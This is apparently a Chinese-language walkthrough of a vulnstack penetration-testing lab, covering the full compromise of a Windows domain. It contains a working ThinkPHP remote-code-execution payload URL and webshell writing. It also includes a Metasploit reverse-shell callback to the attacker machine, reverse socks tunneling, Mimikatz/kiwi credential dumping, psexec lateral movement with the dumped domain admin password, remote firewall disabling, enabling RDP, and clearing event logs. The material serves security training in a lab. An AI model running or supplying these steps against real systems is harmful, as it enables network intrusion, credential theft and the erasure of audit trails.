1、项目地址
http://vulnstack.qiyuanxuetang.net/vuln/detail/7/
2、环境拓扑
3、网络配置信息
1.VMware新建网卡VMnet6,选择仅主机模式,并将网段IP设置为192.168.138.0
2.Win7设置双网卡,一个网卡选择VMnet6、另一个NAT
模拟外网IP:192.168.111.129(在Win7主机开启IP自动获取)
内网IP:192.168.138.136
账号密码:sun\heart 123.com 和 sun\Administrator dc123.com
3.Windows 2008 连接VMnet6
内网IP:192.168.138.138
sun\admin 2020.com
4.攻击机器Kali连接NAT
IP:192.168.111.128
4、开启web环境
1.端口扫描
nmap -T4 -sC -sV 192.168.111.129
2.访问80端口
http://192.168.111.129
#尝试页面报错,获取thinkphp具体版本
http://192.168.111.129/?s=1
3.搜索thinkphp相关漏洞
searchsploit thinkphp
4.最后一条为RCE,查看46150.txt
cd /usr/share/exploitdb/exploits/php/webapps
cat 46150.txt
漏洞描述:
由于thinkphp对框架中的核心Requests类的method方法提供了表单请求伪造,该功能利用 $_POST[‘_method’] 来传递真实的请求方法。但由于框架没有对参数进行验证,导致攻击者可以设置 $_POST[‘_method’]=‘__construct’ 而让该类的变量被覆盖。攻击者利用该方式将filter变量覆盖为system等函数名,当内部进行参数过滤时便会进行执行任意命令。
5.使用payload进行攻击测试,whoami执行成功
http://192.168.111.129/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
6.写入webshell
#写入webshell的命令
echo "" > shell.php
http://192.168.111.129/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "" > shell.php
http://192.168.111.129/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir
7.蚁剑连接
shell:http://192.168.111.129/shell.php
ipconfig /all # 查看本机ip,所在域
route print # 打印路由信息
net view # 查看局域网内其他主机名
arp -a # 查看arp缓存
whoami # 查看当前用户
net start # 查看开启了哪些服务
net share # 查看开启了哪些共享
net config workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "domain controllers" /domain # 查看域控制器(可能有多台)
1.执行ipconfig
双网卡,外网ip:192.168.111.129,内网ip:192.168.138.136
2.执行whoami
administrator 管理员账户
3.执行 net config workstation
域环境名为 sun
1.net user /domain
查看域用户
2.net group "domain computers" /domain
查看域内主机
3.net group "domain controllers" /domain
查看域控制器
4.net group "domain admins" /domain
查看域管理员
5.ping DC.sun.com
域控制器为DC$
,域名为sun.com域管理员为Administrator。ping DC$得到域控的IP:192.168.138.138
1.生成一个Meterpreter
Metasploit的Web Delivery Script
:是一个多功能模块,可在托管有效负载的攻击机器上创建服务器。当受害者连接到攻击服务器时,负载将在受害者机器上执行。此漏洞需要一种在受害机器上执行命令的方法。特别是你必须能够从受害者到达攻击机器。远程命令执行是使用此模块的攻击向量的一个很好的例子。Web Delivery脚本适用于php,python和基于PowerShell的应用程序。
# 生成一个powershell类型的payload
use exploit/multi/script/web_delivery
set target 2 # 选择使用powershell类型的payload
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.111.128
run
蚁剑执行生成的payload,反弹回一个meterpreter的shell
2.添加路由
在msfconsole里面添加一个通向192.168.138.0网段的路由
route add 192.168.138.0 255.255.255.0 1
route print
3.搭建代理通道
攻击端上传ew_for_linux64并执行如下命令:
./ew_for_linux64 -s rcsocks -l 1080 -e 1234
Win7上传ew_for_Win.exe并执行如下命令:
start ew_for_Win.exe -s rssocks -d 192.168.111.128 -e 1234
4.配置proxychain
将socks5服务器指向127.0.0.1:1080,便可以使用proxychains将我们的程序代理进内网。
vim /etc/proxychains4.conf
1.使用wiki模块抓取密码
load kiwi
注意结尾警告:64位机器上运行32的Kiwi
2.进程迁移
# 可以看到x64 和 x86的进程
ps
# 通过进程id,选择一个64为进程进行迁移
migrate pid
3.密码抓取
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords
抓取到域管理员账号密码:Administrator:Test@1234
1.使用exploit/windows/smb/psexec模块
use exploit/windows/smb/psexec
set rhosts 192.168.138.138
set SMBDomain SUN
set SMBUser administrator
set SMBPass Test@1234
set payload windows/meterpreter/bind_tcp
run
2.远程关闭域控防火墙
sessions创建失败,可能是由于防火墙导致,远程关闭。
net use \\192.168.138.138\ipc$ "Test@1234" /user:"administrator"
net use
利用sc创建服务来远程关闭Windows 2008的防火墙
#创建服务
sc \\192.168.138.138 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
#启动服务
sc \\192.168.138.138 start unablefirewall
3.使用exploit/windows/smb/psexec模块
1.开启域控3389远程桌面
use post/windows/manage/enable_rdp
set session 1
run
2.登录域控
1.查看事件日志
run event_manager -i
2.清除事件日志(包括六种日志类型)
run event_manager -c